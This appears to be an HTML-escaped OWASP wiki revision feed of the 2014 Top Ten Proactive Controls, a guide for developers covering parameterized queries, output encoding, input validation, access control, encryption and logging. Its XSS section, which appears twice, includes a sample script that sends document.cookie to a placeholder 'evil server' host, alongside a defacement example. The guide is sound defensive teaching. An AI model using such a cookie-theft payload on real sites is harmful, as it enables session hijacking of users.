Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176347</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176347"/>
				<updated>2014-06-03T15:36:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
